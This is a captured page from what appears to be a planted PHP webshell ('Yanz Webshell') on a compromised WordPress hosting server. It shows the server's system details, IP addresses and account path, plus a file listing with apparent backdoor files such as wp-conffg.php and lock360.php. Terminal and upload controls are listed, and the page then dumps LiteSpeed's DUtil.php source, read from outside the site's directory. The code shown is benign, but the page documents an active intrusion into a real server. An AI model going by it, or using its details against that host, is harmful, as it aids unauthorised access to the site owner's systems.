Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-05 20:57:40
3907.15 GB Free: 1080.27 GB (27%)
/home/repauqkb/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.216.147
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-05 09:27:21drwxr-x---Rename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-05 01:36:32drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-05 01:36:38drwxr-xr-xRename Touch
.hcflag31 B2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
.htaccess626 B2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
.htaccess.bk243 B2026-04-28 01:30:21-rw-r--r--Rename Touch Edit Download
.litespeed_flag297 B2026-05-05 01:36:06-rw-r--r--Rename Touch Edit Download
error_log18.24 MB2026-05-05 20:57:39-rw-r--r--Rename Touch Edit Download
goods.php173.77 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
index.php16.36 KB2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
lock360.php1.40 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
options-privacy-more.php768 B2025-06-24 17:01:07-rw-r--r--Rename Touch Edit Download
qinfofuns.php12.90 KB2026-04-23 18:25:11-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-conffg.php122.70 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-crrm.php77.12 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wper.php16.31 KB2026-01-27 01:19:39-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
yeni.php27.21 KB2026-04-23 17:49:33-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //usr/local/lsws/admin/html.6.3.4/classes/DUtil.php
<?php

class DUtil
{

	public static function grab_input($origin, $name, $type = '')
	{
		if ($name == '' || $origin == '') {
			die("input error");
		}
		$vars = null;

		switch (strtoupper($origin)) {
			case "REQUEST":
			case "ANY":
				$vars = $_REQUEST;
				break;
			case "GET":
				$vars = $_GET;
				break;
			case "POST":
				$vars = $_POST;
				break;
			case "COOKIE":
				$vars = $_COOKIE;
				break;
			case "FILE":
				$vars = $_FILES;
				break;
			case "SERVER":
				$vars = $_SERVER;
				break;
			default:
				die("input extract error.");
		}

		$val = array_key_exists($name, $vars) ? $vars[$name] : null;

		switch ($type) {
			case "int": 
				return (int) $val;

			case "float": 
				return (float) $val;

			case "array": 
				return (is_array($val) ? $val : null);
				
			case "object": 
				return (is_object($val) ? $val : null);

			case "string":
			default:
				return trim((string) $val); //default string
		}
	}

	public static function genOptions($options, $selValue)
	{
		$buf = '';
		if ($options) {
			foreach ($options as $k => $val) {
				$buf .= sprintf('<option value="%s" %s>%s</option>',
						$k, (($k == $selValue) ? 'selected' : ''), $val);
			}
		}
		return $buf;
	}

	public static function getGoodVal($val)
	{
		if ( $val != null && strpos($val, '<') !== false ) {
			return null;
		}
		return $val;
	}

	public static function getGoodVal1(&$val)
	{
		if ( $val != null && strpos($val, '<') !== false ) {
			$val = null;
			return null;
		}
		return $val;
	}

	public static function getLastId($id)
	{
		if ( $id == null ) {
			return null;
		}

		$pos = strrpos($id, '`');
		if ( $pos === false ) {
			return $id;
		}
		return substr($id, $pos+1);
	}

	public static function trimLastId(&$id)
	{
		$pos = false;
		if ($id) {
			$pos = strrpos($id, '`');
		}
		if ( $pos !== false ) {
			$id = substr($id, 0, $pos);
		} else {
			$id = null;
		}
	}

	public static function switchLastId(&$curId, $newId)
	{
		$pos = false;
		if ($curId) {
			$pos = strrpos($curId, '`');
		}
		if ( $pos !== false ) {
			$curId = substr($curId, 0, $pos+1) . $newId;
		} else {
			$curId = $newId;
		}
	}

	public static function &locateData0(&$holder, $dataloc, $ref = null)
	{
		$data = &$holder;

		if ($dataloc) {
			$datalocs = explode(':', $dataloc);

			foreach ($datalocs as $loc) {
				$data = &$data[$loc];
			}
			if ($ref) {
				$data = &$data[$ref];
			}
		}
		return $data;
	}

	public static function &locateData(&$holder, $dataloc, $ref = null)
    {
        $data = &$holder;
        if ($ref != null) {
            $refs = explode('`', $ref);
        }

        if ($dataloc != null) {
            $datalocs = explode(':', $dataloc);
            foreach ($datalocs as $loc) {
                $r = strpos($loc, '!$');

                if ($r > 0) {
                    $a = substr($loc, $r + 2);
                    $loc = substr($loc, 0, $r);
                    $data = &$data[$loc][$refs[$a]];
                } else {
                    $data = &$data[$loc];
                }
            }
        }
        return $data;
    }

    public static function getSubTid($subTbls, $data)
	{
		$key = $subTbls[0];
		if ( !isset($data[$key]) ) {
			return $subTbls[1];
		}

		$newkey = $data[$key]->GetVal();
		if ( ($newkey == '0') || !isset($subTbls[$newkey]) ) {
			return $subTbls[1];
		}
		return $subTbls[$newkey];
	}

	public static function splitMultiple($val)
	{
		return preg_split("/, /", $val, -1, PREG_SPLIT_NO_EMPTY);
	}

	public static function array_string_keys($input)
	{
		$output = [];
		if ($input != null && is_array($input)) {
			foreach($input as $k => $v) {
				$output[] = (string)$k;
			}
		}
		return $output;
	}

	public static function getDataVal(&$holderArray, $key)
	{
		if ($holderArray == null
				|| ! is_array($holderArray)
				|| empty($holderArray[$key])
				|| ! is_a($holderArray[$key], 'CVal')) {
			return null;
		}
		return $holderArray[$key]->GetVal();
	}

	public static function dbg_out($tag, &$obj, $visible=true)
	{
		if ($visible) {
			echo "<pre> $tag \n" . print_r($obj, true) . "\n</pre>";
		} else {
			echo "<!-- $tag --\n" . print_r($obj, true) . "-->\n";
		}
	}

	public static function dbg_tag($tag, $visible=true)
	{
		if ($visible) {
			echo "<pre>$tag \n</pre>";
		} else {
			echo "<!-- $tag -->\n";
		}
	}


}